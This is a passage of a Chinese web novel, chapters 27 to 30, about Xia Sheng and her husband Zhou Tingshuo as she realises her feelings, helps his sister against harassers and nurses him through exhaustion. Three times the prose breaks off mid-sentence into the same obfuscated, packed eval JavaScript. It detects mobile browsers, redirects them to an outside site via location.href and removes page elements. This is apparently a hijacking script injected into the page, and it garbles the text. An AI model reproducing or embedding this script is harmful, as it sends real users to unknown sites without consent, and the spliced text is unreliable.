她嘱咐安真一会帮她拿章,自己匆匆跑过去。 “娇娇?” 路边人来人往,有不少人侧目看过来,周仪娇脸埋在胳膊里,不肯抬头。 夏声只好蹲在她旁边,轻轻拍她肩膀。 “出什么事了,怎么哭了?” 大概听出夏声的声音,她抽噎两下,转过脸看她。 只是没等说话,扁起嘴哭得更厉害了。 安真过来时,瞧见这场景,更是一脸茫然。 两人不可能扔下周仪娇不管,可姑娘似乎为什么事伤透了心,一直哭个不停。 最后又固执地要去喝酒。 她这样夏声可不敢让她一个人买醉,于是跟安真连哄带拽的把她拉到旁边一家居酒屋。 还没入夜,里面几乎没什么客人,正适合她们说话。 居酒屋的小包间坐三个人刚好,周仪娇把梅子酒当饮料,一口接一口。 夏声想拦,安真冲她摇摇头。 “让她喝吧,喝透了情绪才能出来。” 半个多小时后,两人终于问出原委。 原来是那个叫苏晋的,前些天拒绝了周仪娇的表白,今天她又去找他,故意说家里给她介绍相亲,结果对方毫无反应。 “他就真的心里没有一点我的位置,在他面前,我简直像个笑话。” 苏晋,夏声有点印象,上次在明箴她见过一面,看着挺稳重可靠一人,伤姑娘的心倒是狠。 周仪娇狠狠抹了把泪:“没有就没有,我明天就回家相亲,嫂子你跟我哥不也这么结婚的,我也可以直接找个人嫁。” 这就是气话了。 安真将她旁边没了大半的酒瓶拿走,将热水杯推给她。 “你还成榜样了。” 这话是说夏声,但她一门心思在周仪娇身上。 “婚姻大事,可不能这么草率,跟我们说说就算了,回家可不能这么说。” 安真插言:“你不也这么草率结的,现在怎么劝别人。” 她也就是习惯了跟夏声贫嘴,该劝她也劝。 “这个男人不好咱就不要了,没必要急吼吼地再找一个像证明什么似的。” “把自己活精彩了,臭男人有后悔的时候。” 两瓶酒,几个小时,三个姑娘很快聊开,也解了周仪娇的心结。 进门时哭哭啼啼,出门时就能重整旗鼓了。 只是周仪娇今天倒霉,临走去卫生间的功夫,被卡座几个醉鬼缠上。 寸头纹身金链子,看就知道不是正经人。 三个男人非要她的联系方式,不给不让走,纠缠好一会也不收手。 幸好夏声和安真觉得不对,出来看一眼。 “你们几个把爪子拿开!”安真出来就是一声大喊。 这底气太足,还真给三人震慑住,不过也就几秒,三人相视一笑又冲她们挑了挑眉。 “原来是三个美女一起啊,这不正好配咱哥仨。” 夏声闷不吭声,先去把周仪娇拉到身后,随后瞪着眼前三个男人。 “要么你们坐回自己桌继续吃饭,我们当无事发生。” 她举起手机:“要么,我现在报警,我们去警局里聊。” 对方一看就没把她放眼里,吊儿郎当笑一通,就是没有让位的意思。 “小美女,你搬出警察做什么,我们又没犯罪,能拿我们怎么样?” 周仪娇在身后拽了拽夏声的袖子,安真走过来示意她别怕。 “看来,今天你们是不想善了是吧。”安真咬着牙慢悠悠地说。 她们旁边就是大厅里的吧台,主厨正在铁板上做着大阪烧。 安真今天恰好没穿高跟鞋,两步踩过凳子吧台桌,拿过一只闲置的铁铲,又跳下来。 “行啊,姑奶奶今天陪你们比划比划,真比划出事了警察就该管了。” 三个男人就是见色起意,看见美女想揩点油,顺便要个联系方式。 不小心撞上硬茬子。 夏声当然不能让安真动手,她双手抱臂,扬着下巴。 “我想,等进了警局,警察同志都不用多问,去公安系统里查下犯罪记录,一看就知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996576|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该信谁。” “你们要真想去,我们奉陪。” 一些社会闲散人员,夏声赌他们过去不干净,只要是以前有过案底的,去警察局没有好果子吃。 听到这,对面总算认清现实,装模作样啐几口,一副没了兴趣的样子,转身走了。 周仪娇这会酒都吓醒一半,连忙拍了拍她们俩的肩。 “姐姐们太厉害了,今天没你们在,我真完了。” 夏声哪里是厉害,手心里早就都是汗,只是虚张声势罢了。 倒是安真,她是真不怕惹事,刚刚要不是夏声托底,没准儿她真能跟对方打起来。 三人惊魂未定地出了居酒屋,夏声怕周仪娇满身酒气地回西苑会被说,索性让她跟自己回碧水华汀。 她主动给薛宁玉打去电话。 “妈,娇娇今晚想在我这住一晚,正好她哥也不在家,跟我做个伴。” “她怕你不让,我就先跟您说一声。” 对面薛宁玉不疑有他:“这有什么不让的,愿意住就住吧。” 挂断电话,安真也凑过来勾住她的脖子。 “既然你家那口子不在,我也去行不行?” 周庭朔倒是说过,不反对她带同学朋友来家里做客,只要别进他的书房就好。 于是,三姐妹美滋滋打了车一起回家。 夏声早跟徐姐打过招呼,今晚在外面吃饭,回去时徐姐见是三个姑娘一起来的,笑吟吟又去厨房准备喝的。 醒酒汤最先端上来,好说歹说让周仪娇喝了一碗。 家里一下来两个陌生人,福宝害怕地缩在窗帘后,被夏声抱出来安抚一阵,小猫咪才开始营业模式。 两人换上夏声的睡衣,跟着一起窝在沙发上撸猫,茶几上是徐姐刚做好的蛋挞和芒果西米露,没一会她又切了果盘过来。 周仪娇舒服地抱着福宝揉耳朵,看安真给夏声试自己新买的口红。 “我感觉这样也好幸福,你们说为什么不能几个女生一起住一辈子。” 安真将夏声唇上的口红涂匀,又把小镜子递给她,才回头看周仪娇。 “怎么不能,你嫂子结婚了是不成事了,咱俩可以住一起啊。” “以后你就是我香香的老婆,谁还找什么男人。” 夏声按下镜子睨她一眼。 “你可别满嘴胡话,娇娇真信了你的,哭得比被男人骗还惨。” “什么意思,我比男人还不靠谱?” “好啊,你就这么编排我是吧。” 两人在沙发笑着闹作一团,旁边夏声手机响也顾不上。 周仪娇看了眼是她哥的微信语音电话,顺手帮忙接起来。 “哥,是我。” 日内瓦机场的信号不算好,周庭朔听得断断续续,才反应过来是周仪娇接的电话。 “怎么是你接,她呢?” 周仪娇把今天下午的事避重就轻地说了下,着重渲染夏声帮她摆脱流氓的英勇事迹。 对面沉默半晌:“让她接吧。” 那边夏声刚结束一场“混战”,不明所以地接过周仪娇递来的电话。 “喂,你落地了吗?” 周庭朔语气淡淡:“嗯,明天我助理会去家里拿一份文件,到时候需要你帮忙找一下。” 不是什么麻烦事,夏声满口应下,又说了今天安真和周仪娇都住家里的事。 “嗯,不用特意跟我说。” 对面停顿一会,见她没有再要开口的意思,随后挂断电话。 夏声看了眼手机,总觉得周庭朔有些怪怪的。 转头看向周仪娇:“你跟你哥说什么了吗,怎么他像……生气了。” 28. 第 28 章 飞机上,助理何归明显感觉到,挂断电话的老板有些低气压。 某人又不顾自身安危,为他人出头,偏她帮的人是自己妹妹,他无从论言。 周庭朔心中生出难以察觉的郁气。 而另一边的夏声,已把这事抛诸脑后。 三个姐妹晚上在客卧挤一张大床,福宝还要在床尾占一角。 听说夏声正准备创业,周仪娇很感兴趣,她有一个朋友是搞设计的,做过文创相关,而且现在还是自由职业。 她将联系方式推给夏声,没准能促成合作。 接下来的几天,夏声忙着公司的事,还不忘抽时间出来练车。 每天都排得满满当当,回家累得倒头就睡。 大概周庭朔在国外也忙,两人时常一天也不会发一条信息。 这天傍晚,夏声在城南练车,这路段马路开阔也鲜少行人,是周庭朔的司机告诉她的。 已经让司机陪练几天,今天她才自己上路试试。 开了两圈,她自觉没问题,偶然瞥到后视镜,发现天边出现粉色的云霞。 她将车停在路边,下车。 冬日的晚霞不像火烧云般炽烈,白与粉模糊着边界,再与橙色交融,唯美治愈。 夏声拿出手机,温柔的云被定格在屏幕上,她指尖不小心一滑,界面来到聊天软件。 视线落在某个对话框,上一条消息还是昨晚,对方说自己行程推后,还要几天才能回。 她随手点开,将照片发过去。 【夏声:你那里现在应该是上午吧。】 放下手机的瞬间,她恍然想起一件事。 她曾看过一本国外小说,中文版中将“我爱你”,翻译成“今夜月色很美”,当时夏声还觉得这翻译好没道理。 直到此时此刻,她偶遇晚霞,不由自主地将美景分享给某人时,忽然有些明白那句“月色很美”的含义。 夏声看着聊天框上,周庭朔的名字,有些愣怔。 消息已经不能撤回,她将手机按灭揣进口袋。 思绪像突然结团的毛线,变得乱糟糟。 晚霞也无心再赏,夏声上车坐了会,突然自顾笑了,像是认清,更是释怀。 半个小时后,夏声赶到安真家。 昨晚安真开了第一场个人直播,熬到后半夜才睡,结果听夏声说个开头,人就精神了。 不过她倒是并不惊讶:“你认清自己比我想象中还早。” 将温水放到夏声手里,安真就地坐在旁边的地毯上。 “其实那次我问你对他什么感觉的时候,已经察觉到了,只不过我发现你自己好像还不知道。” 当你开始想向一个人分享琐事时,就证明你开始在意一个人,甚至喜欢。 夏声就是在刚才的那个瞬间,意识到这点。 安真手肘支在她旁边的沙发扶手上,脸上尽是好奇。 “怎么样,第一次喜欢上一个人,什么感觉?” 抿了口水,夏声认真想想。 “我有点不知道怎么面对他了,我甚至希望他出差不要回来。” 安真恨铁不成钢,起身挤在她旁边坐下。 “你应该期望他快点回来,这样才能验证你的真心是否真。” “以及,他的真心在哪。” 周庭朔结束一天的行程,才有时间处理手机上的信息。 那张晚霞照片,他点开来看了一会,唇角不自觉上扬几度。 【我刚看到,现在这边恰好是傍晚。】 他的傍晚,是国内的午夜,满腹心事的夏声看到这条信息,装作睡着并没有回。 但躲得了初一,躲不过十五。 周庭朔总要回来。 安真早早给她支过招,反正他们已经结婚,只要他没有别的心肝,对她就是好消息。 “这件事一定要搞清楚,不然以后陷得深了,你再要抽身可就跟心脏里拔刺一般,疼得要命。” 夏声原本以为他明天才回,没想到他提前结束工作,改签机票,今天就到了。 密码锁刷开时,夏声以为是徐姐买菜回来。 她正给中岛台上的盆栽修剪枯叶,一抬头,愣在原地。 两人已有十多天没见,周庭朔原本以为自己提早回来,她会高兴。 可看她握着把剪子,迟迟不动,脸上甚至有一闪而过的慌乱。 “你怎么,今天回来了?” 身后的门再一次响起开锁声,这次才是徐姐。 见周庭朔已经回来,她忙打招呼。 “先生今天回来,怎么没提前说一声,我好准备饭菜。” “这是刚下飞机吧,一定累坏了,快进去歇着,我这就做饭,一会就好。” 连阿姨的反应都比她热情,周庭朔眸色渐深,不过并未多言,独自先回房间。 他回来时是中午,洗个澡换身衣服又出门去公司。 夏声下午本就约了秦莫,两人要去验收办公室的装修。 装修公司年底最喜欢积极结账的顾客,夏声验收又提了几个小问题,对方满口答应这两天就修好。 从公司出来时,秦莫提议请她吃饭。 “原来的公司还算做人,我前两天离职,今天年终奖居然还一分不少的发给我了。” 冬天,火锅店总是生意火爆,两人找了个最角落的地方坐下。 饭吃到一半,旁边桌一个小男孩捧着一块小蛋糕走过来。 “姐姐,今天我过生日,妈妈说快乐要跟别人分享,所以这个送你。” 蛋糕上的图案被切分,隐约看出是奥特曼形象。 夏声弯腰接过来,笑着说谢谢,小男孩脆生生地叫她不必客气。 对面秦莫弯着眼对他说句生日快乐,不一会儿小男孩又去而复返,捧着另一块送给她。 “我一次只能拿一块,这块送给你。” 小男孩实在太过可爱,夏声想想,去门外商场里的自动售卖机,买了个扭蛋回来,送他做礼物。 秦莫已经把涮好的肉夹了一大碗,放在她面前。 “没想到你还挺喜欢小孩子的,自己有这方面计划吗?” 这是第二个人说她喜欢小孩了,实际上,她只是喜欢别人家可爱又听话的幼崽而已。 “没计划,完全没想过。” 秦莫点头:“也是,你还这么年轻,其实我都没想到你会这么早结婚。” “你跟你老公感情很好吧。” 那条新年朋友圈发出去,秦莫才知道她结婚,但很细节的事自己也没问过,只是感觉两人这么快结婚,应该是认定了这个人。 肥牛烫得有些老,夏声一口一口嚼着,没说话。 他们的感情,算好吗? 也不算吧,比如周庭朔从回来到现在,两人再没联系过。 吃完饭,已经七点多,夏声开车路过明箴楼下,抬头看了眼,楼上三十几层仍亮着灯。 车窗外路过的行人,手缩在口袋里,因为冷硬的夜风,皆是神色匆匆。 夏声打开手机,拨通电话。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004938|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还没下班吗?我刚好开车经过你楼下,你要下班的话,我可以载你回去。” 嘴上说着不敢面对他,可真等他回来,忙得见不上,她又觉得心里缺点什么。 对面传来几声鼠标点击的声音:“你要接我下班吗?” 似乎听到他轻笑一声:“好,稍等我一下。” 其实打完电话,夏声就有些后悔,什么路过楼下,这话怎么听都觉得是自己上赶着来接他回家。 不过后悔也来不及了,不到十分钟,人已下楼。 只是,他没直接上车,反而绕过车头,打开她这侧的门。 “晚上你还有别的安排吗?” 夏声摇头:“没有。” 他让开半边,略一偏头:“那我来开车,带你去个地方。” 半夜三更,不知他卖的什么关子,不过她还是依言转移到副驾驶。 车子穿行在夜色里,越走车流越小,显然不是回家的路线。 直到又过一个路口,他在路边停车。 “现在换你来开,一会直走右侧上匝道,我们跑一下环城高速。” “你要陪我练车?” 周庭朔这几天虽然人在国外,但她练车的进度司机都会跟他汇报,所以她现在练过什么路面,开车什么水平,他很清楚。 “嗯,过几天我可能都没时间,只能今晚来。” 其实,也不是必须要他陪,不过既然已经到这,练练也无妨。 在市区她车开得都不快,到高速车速就必须上八十。 车子刚上高架桥,车身就开始晃,在她加速时甚至有些偏离路线中心,夏声本就没开过快车,一下子有些紧张起来。 周庭朔帮她看了眼后视镜:“是不是觉得方向有些不受控制。” “双手握紧方向盘,适当降速,看下后视镜,变道进中间车道,车身控稳再加速到合适车速。” 他的声音沉稳,语调不急不缓,渐渐安抚了夏声的紧张情绪。 一步步操作下来,果然晃动减轻些,车子也好控制了。 他这才解释:“天气不好的时候,上高架桥要注意侧边横风,如果感觉到车身晃动,方向盘发硬,不用紧张,按照我刚刚告诉你的方法处理就行。” 周庭朔是个很好的陪练,大多数时间他都是安静地坐在副驾,偶尔提醒一句。 没有故作姿态地握着车顶安全把手,好似害怕你车技差。 也没有疾言厉色,语调始终平缓沉和,不会给你压力,更不会让你厌烦。 练车的全过程,可以说体验极好。 夏声看过很多情侣陪练车的视频,很多都因为副驾嘴碎,吵得不可开交。 余光撇了眼安坐在旁边的周庭朔,她抿嘴笑了笑。 “我发现你是个很好的陪驾教练,情绪稳定,指令清晰,用语文明。” 听完她的夸奖,他波澜不惊:“这样,如果哪天公司经营不善,我需要另谋职业,这也算是一条出路。” 此时他们已经下高速,路口红灯前,夏声踩下刹车,转头看他。 “我就随口一说,就算明箴真有一天破产,你也不至于去做驾校教练吧。” 他手肘搭在车门边,支着额头,认真思考的样子。 “嗯,到时候你应该也创业成功,我还可以仰仗你。” 这话更是说得远,但夏声听来却受用,起码在这段婚姻关系中,他将她看作平等的,可以互相支持依靠的另一半。 她是在认真创业这件事,他相信,并认为她能成功。 29. 第 29 章 不知是不是福宝独自在家无聊。 听到两人开门声,它小跑到门口,先是在夏声脚边转了一圈,随后又用尾巴蹭了蹭周庭朔的裤脚。 往常它从不主动找他,更不用提去蹭。 周庭朔看见黑色西裤上挂上的白色细毛,挑起眼皮看着它。 福宝已经被夏声抱进怀里,她压着嗓子,替猫咪说话。 “家里好久没见到你,福宝应该是想你了。” 她握着小猫爪,还跟他打个招呼。 周庭朔想起中午回来,她见他那冷淡地反应,语调平直地重复了她的话。 “原来好久不见,它都会想我。” 言外之意。 夏声抱着福宝去拿冻干零食,假装没听懂。 晚上,周庭朔照例会去书房工作,夏声一个人在沙发上找电影。 盖好毯子,抱好抱枕,电影开始。 播到一半,她突然隐约听到头顶上方有呼吸声。 这次她看的是个恐怖片,为沉浸观影,还特地把灯都关了,窗帘也拉起来。 房间内皆是电视屏幕投出的昏暗光影,伴随着诡异的电影音效,夏声的汗毛登时立起来。 这瞬间,她希望是自己幻听,甚至不敢回头去看。 直到一声清浅的咳嗽声响起。 足够清晰,就在她身后。 夏声原本是曲腿坐在沙发上,此刻骤然受惊,整个人立刻蜷成一团,急促地叫了一声。 下一秒,一只温热的手掌按在她肩头。 “是我。” 心已经提到嗓子眼,夏声反应了好几秒,才缓缓抬头。 “你怎么走路没声音啊。” 她吓得脸色发白,手心掐出指甲印,连埋怨的声音都没底气。 周庭朔已绕过沙发,将电影暂停,转头看她。 “这么怕,为什么还要看。” 电视画面刚好定格在昏暗场景,夏声往沙发里缩了缩。 “就是怕才要看,你不懂,就像吃辣,越辣越想吃。” 夏声将怀里抱枕放下,探身拿起遥控器,画面继续播放。 旁边的身影默默陪她看了几分钟,转身回去时,语气淡淡地建议。 “别看太晚,小心晚上睡不着。” 夏声整个身子裹在毯子里,故作镇定:“不会,我胆子挺大的。” 自称胆大的夏声,很快惨遭打脸。 十点钟就上床的她,半个小时后仍不敢关灯。 一闭眼,都是片子里光怪陆离的画面,异常兴奋的思绪怎么也平静不下来。 周庭朔进来时,她已经放弃挣扎,正坐在床上翻看招聘网站的信息。 前几天公司挂出去的用人需求,这几天已经陆续收到简历。 他看眼时间:“怎么还没睡?” “哦,不困,刚好处理点事。”像是为迁就他,又问,“你要睡了吧,那我关灯。” 周庭朔心照不宣地看她一眼:“嗯。” 身边有了活人气息,夏声终于不那么怕了,黑岑岑的空气中,她听到周庭朔轻缓的呼吸声,渐渐绵长平稳。 这么快就睡着了? 可她的思绪还是活跃,根本睡不着。 摸着黑睁着眼睛,她一会看向头顶,一会看向床边,总觉得在她看不见的地方,有什么脏东西。 头发摩擦着绸缎枕面,发出细碎的声音。 旁边安静的身影,突然动了一下,夏声猛地停住动作,听到一声鼻息。 “身边有人还怕?” 他骤然开口,夏声措手不及:“我以为你睡着了。” 被子上,一只手探过来,摸到她的胳膊,略一用力将人拉进怀里。 夏声脑袋埋在他胸前,瓮声瓮气:“我没怕。” “嗯。”他声音带着闷,“但我昨晚赶晚班飞机,现在需要倒时差。” “你迁就下。” 台阶给足她,夏声终于安静下来,不再出声。 电影看得太投入,后果就是梦里也在重现。 梦境中,那具无头尸在夏声身后紧追,距离越来越近,几乎抬手就要抓到她。 慌乱中,夏声跑进昏暗的楼梯间,绿色的安全出口灯一闪一闪,她向前奔入,却脚下一空。 下一秒,失重感让她骤然睁开眼。 晨曦从厚重的窗帘下透进来,夏声眼前是被抓皱的睡衣前襟,视线上抬是明朗的下颌,以及正盯着她的深邃眼睛。 两人还保持着拥抱的姿势,姿态甚至比昨晚入睡时还亲密。 四目相对,夏声不自觉垂下眼睫。 “早啊。”她先开口。 这还是第一次,她从床上醒来时他还在。 说不清什么感觉,但有些尴尬。 夏声转身,想要从他怀里钻出去,却被人从腰后扣住。 她莫名抬头,再次对上他沉不见底的眼眸。 “不起床吗,几点了?” “九点多。” 他的嗓音格外哑,带着沙沙的质感,倦懒地落在她耳边。 “啊?那你上班岂不是迟到?” “嗯。”他说完,终于松开她,别过头咳了两声。 得了自由的夏声刚起身,又回头看他。 “你是不是不舒服?” 很反常,平时雷打不动八点前出门的人,如果不是特殊原因,怎么会睡到现在。 她起身将窗帘拉开,屋内顿时光线大好。 周庭朔此时刚起身,单手扶着额头,眉头紧蹙。 “是时差原因,还是生病了?” 床头柜上的手机传来提醒,他垂眸看着,随后拿起手机回电话。 “再有半小时到公司,通知项目组把预案准备好,我看完再给对方发过去。” 挂断电话,发现夏声仍在看他,于是松了表情,往浴室去。 “别担心,我没事。” 十分钟后,他重新出现,衬衫西装穿戴齐整,看不出什么异样。 徐姐早做好了饭,想留他吃些,被他以来不及为由拒绝,直接推门离开。 夏声捧场,坐在桌边吃着刚煮出来的小馄饨。 “先生工作也太忙了,身体这样能吃得消吗?” “我听着他嗓音都不对了。” 工作狂一听工作就顾不得其他,夏声也不能不让人上班去。 吃完饭,夏声出门。 今天订好跟周仪娇介绍的那位朋友见面。 那朋友跟夏声年纪相同,穿着宽大的麻纺长裙,戴着单侧的流苏耳环,颇有些搞艺术的气质。 两人会面第一眼,对方先满意地拍起手。 “不亏是娇娇夸漂亮的人,有没有兴趣做我作品的模特?” 夏声听周仪娇说过,韩之弋是个直来直去的性格,不爱绕弯子。 她直入主题:“模特的事以后再说,先说正事。” 听完夏声自己公司未来的方向和规划,韩子弋笑着摇头。 “我之前合作过的都是有相对成熟IP的公司。” “你的公司,想要盈利,至少需要三年。” “撑得下去吗?” 文创公司,一要有品牌IP,二要有广泛传播,三要有客户认可度。 初创品牌,特别是她还要做跨境,是非常难的。 夏声垂眸,语调平和:“撑不下去就散伙呗,不做怎么知道行不行?” 韩子弋摆弄着手里一串檀木珠,上面的镂雕花纹,出自她本人之手。 听着夏声云淡风轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017259|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地话,她笑而不语。 半晌,将手串戴回手腕,随即朝夏声伸出手。 “那咱们就一起试试?” 投缘的人,聊起来就忘记时间。 等再看手机,安真的消息已经发了一大堆。 明天一早,安真要赶早班飞机回锦城。 她放假一直没走,再不回家,她妈妈该吃了她了。 夏声自告奋勇,明天开车送她去机场。 两人提前商量,不如她前一晚就住安真那,省得一早起床再去接她。 这是周庭朔还没从国外回来时就定好的事。 跟韩子弋告别后,夏声就准备往安真家去,路上想起应该跟周庭朔说一声。 电话打过去,没人接。 开车路上不好发信息,她又打了一遍,这次终于接通。 不过是他助理何归。 “周总现在在忙,不太方便接电话。” 已经到安真小区门口,她索性先在路边停下。 “他忙,那我一会再给他打吧。” 她正想挂断,何归又开口。 “您一会打电话,可不可以劝劝周总。” 夏声手指停在挂断按钮前,问:“他怎么了?” “从早上来,周总嗓子就不太舒服,到下午已经哑的说不太出话。” “咳嗽也越来越厉害,至于有没有别的不舒服,还看不出来。” “但状态确实不太好,这样子不应该再工作了。” 听描述,像是感冒或者嗓子发炎,夏声回复知道了。 安真的卧室,衣服摆了满满一床,东西也翻得到处都是,不知道还以为她是要逃荒。 “你不懂,回家必须光鲜亮丽,怎么说我也是个网络红人,不能掉价。” 实在看不下去她的纠结症,夏声快速帮她挑选衣服,又收拾柜子。 等弄好行李箱,已经是一个多小时以后。 安真去烧水的功夫,夏声又拨通了电话,这次是周庭朔本人接的。 “喂,有什么事吗?” 他的声音,与其说是声,不如说是气。 嗓子已经接近全哑,比早上严重太多。 夏声拧眉:“你先喝点水再说话,嗓子怎么成这样了?” 对面顿了顿,似乎绕开话筒咳了几声,又回来。 “一会喝。” 不知道是不是工作狂都不拿身体当回事,夏声语调下沉。 “还有很多工作吗,不能现在休息?” “你都说不出话,还能布置工作?” 他短促地“嗯”了声,夏声听到他办公室电话又响。 周庭朔清下嗓,这下才算出几个音。 “我忙完这点,就回去休息,很快。” 他说得很快没有任何可信度,因为两个小时后,夏声看了下家里密码锁的开门记录,并没有人回去。 犹豫片刻,夏声起身拿起门口的外套,准备出门。 安真刚冲好蜂蜜红茶,就见她在门口换鞋。 “干嘛去啊?” “亲爱的,晚点如果我没回来,就明天一早五点半楼下等你,放心肯定给你按时送到机场。” 已经过晚高峰,夏声恰遇一路绿灯,赶到明箴时,不过十几分钟后。 三十二层办公室里,等着签批的助理看到夏声进来,自觉退出门。 周庭朔目光隐在无框眼镜后,似乎惊讶于她的突然出现。 口袋里的喉糖还带着室外的凉意,夏声拿出一颗,放在他面前。 他默默剥开吃下,看着夏声坐在他对面的椅子上。 “给你十五分钟工作收尾。” “不许讨价还价。” 十五分钟后,秘书处众人准时目送老板下班。 30. 第 30 章 浓浓夜色下,银色的车身安静穿梭于城市道路中。 周庭朔靠在椅背上,双目轻阖。 夏声将音乐关掉,专心开车,两人均是一言不发。 等到车子再停下来,已经到医院门口。 副驾的人好像睡着了,夏声轻轻推了他一下。 “起来先去医院看看,看完再回去睡,在车上睡会着凉。” 车上空调开得很足,倒不会冷,周庭朔看了眼窗外,眉心一沉。 “不用看,回去休息一晚就好。” 夏声不管他这些,探过身帮他把安全带打开,示意他没得商量。 医院的VIP特需通道,所有流程都有人引导,周庭朔被她按在休息室,看着她忙前忙后。 医生给开了抽血检查,排除病毒感染和感冒,最后确诊为过度劳累后免疫力下降的表现。 “免疫力低需要人体自身调节,多加休息就会好一些。” “这段时间抵抗力会明显差点,但目前看来只是身体有些炎症,我一会开些消炎药,回去按时服用即可。” 夏声特意打开手机备忘录,医嘱一条条记下,仿佛课堂笔记。 医院的白灯曝落在她发顶,极好的发质映出一道光圈,随着她的动作,转变形状。 夏声认真的时候,会微微偏过头,视线笔直地看向对方,再间隙落在手机屏幕上。 直到医生离开,她转头与周庭朔对上视线。 “听见没,医生让你休息。”语气大有权威背书过后,底气充足的意味。 他没有反驳,无声点头。 两人回到碧水华汀,夏声直接将周庭朔推进卧室。 “今晚,除了床上,你哪也不许去,只能好好休息。” 近些年来,周庭朔保持着定期运动的习惯,生病的次数很少,其实今天这个情况,也远算不得生病。 只是身体调节机能变差,略有不适而已。 但看着她郑重其事,一板一眼的样子,他还是收起这些话,默默顺从她的安排。 医院的药一共两种,夏声按照说明,分好剂量连带一杯温水,送进卧室。 床上空着,浴室里传来水声。 夏声将东西放在床头,转身准备出去时,发现他新拿出来的睡衣还整齐摆在床尾。 洗个澡再着凉,更是麻烦。 她捡起衣服到浴室门口敲门:“周庭朔,你睡衣忘了拿进去,我帮你放门口?” 刚将不远处的软凳拉过来,准备放下睡衣,浴室门从里面打开。 一股湿润的热气扑来。 周庭朔腰间松散地围着条浴巾,一手搭在门把上,看着她。 未着寸缕的上身就这么展露眼前,夏声立刻偏过头,迅速将手里的睡衣推进他怀里。 “你赶紧穿好再出来,别感冒。” 接着从外面拉上浴室门,重重吐了口气。 不过一两秒的时间,刚刚那副称得上香|艳的画面就印进脑子里。 氤氲的灯光,明晰的锁骨形状,紧致的肌肉线条,还有未来得及擦干的透明水迹,从胸口一路隐入腰间。 夏声猛地拍下额头:“他是个病人啊!色令智昏,色令智昏!” 发愣的功夫,人已从身后出来。 藏蓝色的暗纹睡衣衬得他肤色更白,正在系领口扣子的手指动作缓慢,指骨分明。 扣子上方就是突出的喉结,在夏声视线落到那的时候,他的喉节刚好缓缓碾动。 “在看什么?” 声音还是哑,夏声匆忙抬头,随后指指他的头发。 “你头发还没吹干。” 扣子系好,他坐回床边,不在意地向后拨下头发:“不用吹。” 虽然不算生病,但累也是真累,洗过澡后的困倦意味更浓,此刻周庭朔只想休息。 见他湿着头发就要上床,夏声一把拽住他。 “不行,你等会再睡。” 去浴室取来吹风机,夏声站在他旁边,身高刚好够到他发顶。 开到暖风,风量调小,细致地从他额前向后慢慢吹。 周庭朔的头发浓密乌黑,发际线更是优越,夏声的手不断从他发间穿过,刚好能闻到他洗发露的味道。 “你这发量,不知道要引得多少人羡慕嫉妒恨。” 她的话交杂在吹风机的噪音里,周庭朔没听清,抬头眼神询问。 此刻她已经吹到他脑后的位置,两只手本就分在他两耳左右,她低头他抬头,视线正好迎上。 平日的周庭朔总是规整的,一丝不苟的,完全内敛的性格更让人觉得不好亲近。 可此刻他头发凌乱,唇上略微泛干,毫不设防地坐在这,终于消磨掉些距离感。 头发已经干的差不多,夏声关掉吹风机。 “我说,你这个时候还挺有活人感的。” 周庭朔的目光追随着她收吹风机的动作,似乎在问什么意思。 夏声沉默,总不能说,他平时像个人机一样,吃饭工作睡觉,一点情绪没有,跟机器人没区别。 “没什么,你吃了药把水都喝了就睡吧。” 话题到这本该结束,夏声将吹风机放回浴室,出来时他已经上床躺好,眼神平静地追随她到门口。 “昨天夜里你害怕抱着我睡觉时,我的活人感应该更足。”他语调平整地纠正她刚刚的结论。 一句话,又让她想起昨天丢人的自己。 夏声回头,半建议半警告:“嗓子不舒服就少说话,快睡!” 被“凶”了的周庭朔,依言闭上眼睛。 这一觉,他睡到大天亮。 周庭朔醒来时,发现身旁的位置还是昨天的状态,显然没睡过人。 出门来到客厅,徐姐正在收拾碗筷,见他出来,忙招呼他先坐。 “粥马上就好,您稍等几分钟。” 家里似乎没有第三个人,福宝懒洋洋地趴在落地窗前,竖起耳朵听了听,又合上眼睛继续睡。 “她呢?” 经过一晚的休息,他嗓音虽然还没完全恢复,但已能发出声音。 徐姐正将几盘清淡小菜摆上桌:“我一早来就没见到太太了。” 他垂眸坐在那,半晌没再出声。 直到徐姐把饭菜全部摆上桌。 “您多吃点,这样身体才好得快。” 碗里的粥熬得浓稠清香,周庭朔缓缓抬手,将碗推开。 似乎是没胃口,他漠然起身,又要回房间。 徐姐赶紧从厨房出来,叫住他。 “您不吃吗,要是不合口味,您想吃什么跟我说我重新做。” 他想说不用,徐姐已拿出一个小分装盒,上面还贴了便利贴。 “太太特意嘱咐,让您吃了饭再吃药,你看这药都一样样分好放这了。” 她将东西放在桌上,又 